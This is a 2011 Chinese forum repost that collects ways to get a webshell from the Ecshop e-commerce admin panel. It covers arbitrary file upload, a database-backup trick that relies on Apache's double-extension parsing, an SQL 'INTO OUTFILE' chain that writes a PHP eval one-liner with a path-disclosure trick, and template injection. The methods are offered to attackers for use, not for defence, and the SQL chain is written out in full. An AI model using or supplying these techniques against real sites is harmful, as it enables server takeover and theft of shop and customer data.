巍小山 發表於 2011-3-31 23:29:18

Ecshop后台拿shell方法总结

<p><strong>方法一:</strong>龙儿心发明的,版本未定,估计都行。</p>
<p>进入后台-系统设置-Flash播放器管理</p>
<p><img alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330410.jpg" width="624" onload="ResizeImage(this,520)" height="153" /></p>
<p><img alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330411.jpg" width="624" onload="ResizeImage(this,520)" height="153" /></p>
<p>可以上传任意文件。</p>
<p></p>
<p><strong>方法二:</strong>另外一种是利用ecshop后台的数据库备份功能</p>
<p><img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330412.jpg" onload="ResizeImage(this,520)" /></p>
<p>这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。</p>
<p>然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:</p>
<p><img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330413.jpg" onload="ResizeImage(this,520)" /></p>
<p>然后会显示备份成功。</p>
<p>但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。</p>
<p><img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330414.jpg" onload="ResizeImage(this,520)" /></p>
<p>这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。<br />因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。</p>
<p>所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。<br />所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。</p>
<p><strong>方法三:</strong>ecshop后台有一个功能是sql查询,如图:</p>
<p><img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330415.jpg" onload="ResizeImage(this,520)" /></p>
<p>其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?<br />不过也不错,便宜了我们小菜拿shell。<br />方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。<br />语句如下:</p>
<p>show databases;<br />use 数据库名;<br />&nbsp;create a(cmd text not null);<br />&nbsp;insert into a(cmd) values('&lt;?php eval($_POST);?&gt;');<br />select cmd from a into outfile '导出路径';<br />drop table if exists a;</p>
<p>很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用&quot;use 数据名库&quot;这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:</p>
<p><img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330416.jpg" onload="ResizeImage(this,520)" /></p>
<p>这样就爆出了路径,用于导出。</p>
<p>但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。</p>
<p><strong>方法四:</strong>这招简单方法拿shell</p>
<p><font size="2">进后台。如下步骤:</font></p>
<p>&nbsp;<img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330417.jpg" onload="ResizeImage(this,520)" /></p>
<p>&nbsp;<img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330418.jpg" onload="ResizeImage(this,520)" /></p>
<p>插一句话,点确定之后访问http://www.***.com/myship.php</p>
<p>这个方法的原理据说是ECSHOP的smarty模板机制是允许直接执行php代码,从而导致漏洞产生。我的smarty没什么了解,不过会努力的。</p>
<p>ps:遇到了个linux的,权限限死,不给运行,直接插到页面里直接运行!</p>
<p>&nbsp;<img title="" alt="" src="https://img.jbzj.com/do/uploads/allimg/110331/2330419.jpg" onload="ResizeImage(this,520)" /></p>
<p><strong>第五种:</strong>oldjun大牛提供的据说条件更苛刻我就不转了,需要时大家自己找吧!</p>
<p>逍遥复仇点评:二、三种方法都有一定的前提条件,一、四如果通杀蛮爽的,大家自行测试!~<br />本文由逍遥复仇(http://www.cqzh.cn/)辛苦整理,转载请注明,谢谢合作~!</p>
頁: [1]
查看完整版本: Ecshop后台拿shell方法总结